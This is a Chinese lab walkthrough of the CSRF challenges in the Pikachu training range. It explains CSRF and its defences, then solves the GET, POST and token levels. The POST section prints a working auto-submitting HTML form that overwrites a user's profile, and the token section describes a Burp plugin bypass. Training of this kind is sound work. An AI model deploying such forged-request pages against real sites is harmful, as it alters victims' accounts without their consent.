前言
Pikachu靶场是一种常见的网络安全训练平台,用于模拟真实世界中的网络攻击和防御场景。它提供了一系列的实验室环境,供安全专业人士、学生和爱好者练习和测试他们的技能。
Pikachu靶场的目的是帮助用户了解和掌握网络攻击的原理和技术,同时提供实践机会来开发和改进网络防御策略。靶场内的网络环境是虚拟的,用户可以通过远程访问来完成各种任务。这些任务可能包括渗透测试、漏洞利用、密码破解、网络侦查、恶意软件分析等。
Pikachu靶场提供了多个不同的实验室环境,以满足不同的训练需求。每个实验室环境都有不同的难度级别和目标,用户可以选择适合自己技能水平的实验室来进行训练。平台还提供了一系列的学习材料和指导,以帮助用户理解每个实验室的背景知识和解决方案。
通过在Pikachu靶场进行训练,用户可以提高自己的网络安全技能,了解常见的攻击技术和漏洞,并学习如何防御和保护网络。这对于网络管理员、渗透测试人员和安全研究人员来说都是非常有价值的。
总而言之,Pikachu靶场是一个提供实践机会的网络安全训练平台,旨在帮助用户提高网络安全技能和知识。它是一个非常有用的资源,可以帮助用户更好地应对日益增长的网络安全威胁。
介绍
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web应用程序安全漏洞,它允许攻击者在用户不知情的情况下以受害者的身份执行未经授权的操作。
CSRF攻击利用了Web应用程序对用户的信任。攻击者通过诱使用户访问恶意网站或点击恶意链接,使受害者在已登录的状态下访问目标网站。然后,攻击者利用受害者的身份在目标网站上执行恶意请求,例如转账、更改密码或删除数据。
以下是CSRF攻击的一般工作流程:
-
受害者登录:受害者在目标网站上进行登录,并获得有效的会话凭证。
-
攻击者构造恶意请求:攻击者在恶意网站上构造一个包含目标网站请求的恶意请求,例如转账请求。
-
诱使受害者访问恶意请求:攻击者通过各种手段诱使受害者访问恶意网站,例如通过发送钓鱼邮件、社交媒体诱导等。
-
自动执行恶意请求:由于受害者在目标网站上已经登录,浏览器会自动发送恶意请求,并在受害者不知情的情况下执行。
为了防止CSRF攻击,可以采取以下一些防御措施:
-
随机令牌:在每个表单提交或敏感操作中,为用户生成一个随机的、单次使用的令牌(CSRF Token)。在提交请求时,验证令牌的有效性,确保请求来源于合法的用户会话。
-
SameSite Cookie属性:使用SameSite Cookie属性来限制Cookie在跨站请求中的发送,可以阻止许多CSRF攻击。
-
验证来源(Referer)头:通过验证请求的Referer头,确保请求来自合法的来源网站。但需要注意,Referer头并不是100%可靠,因为某些浏览器或代理可能会修改或删除该头。
-
双重身份验证(2FA):为用户提供双重身份验证机制,例如短信验证码、身份验证应用程序等,以增加账户安全性。
-
安全编程实践:开发人员应该遵循安全编程实践,包括对用户输入进行验证和过滤、使用适当的授权和身份验证机制等。
需要注意的是,CSRF攻击的影响范围取决于目标网站的功能和用户的权限。为了保护Web应用程序免受CSRF攻击,开发人员和网站管理员应该了解和实施适当的防御措施。
一、CSRF(get)
打开靶场点击提示给出了用户账号及密码
登录进去后可以看到一个修改个人信息
打开 BurpSuite 抓包随便更改一个数值(如手机号更改为 120)
找到了更改的值,作为攻击者可以复制这条请求然后在另一个页面打开
例如构造一条将手机号改为 12315 的请求
访问后成功更改了手机号
那么就可以利用这条链接在第三方网站生成一个短链接诱导受害者去点击也可以使用 BurpSuite 专业版生成 CSRF Poc
二、CSRF(post)
同理登录进去然后点击修改个人信息
也是随便更改一个数值,然后打开 BurpSuite 抓包
找到了更改的值
因为是 POST 请求所以需要自己构造一个网页使其用户点击链接后通过表单提交实现 CSRF
(BurpSuite 专业版可以直接生成 CSRF PoC 更方便)
html
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://pikachu:8848/vul/csrf/csrfpost/csrf_post.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="12345678922" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="kobe@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
需要将这段代码部署在攻击者服务器上诱导受害者点击即可
三、CSRF(token)
这一关增加了 Token,但还是有办法的
首先在 BurpSuite 中下载插件 CSRF Token Tracker
然后将包发送到重放模块(Repeater)
注意:同时开启跟随重定向
接着在 CSRF Token Tracker 模块中填写 Host 地址(可以参考数据包中的 Host 值)及 Token 的参数名称(也是参考数据包)然后勾选两个选项
注意:后面的值是成功后的 Token 值,刚开始是没有的
做好以上步骤后就可以在重放模块中随意更改参数了,例如:
性别:man
修改为性别 girl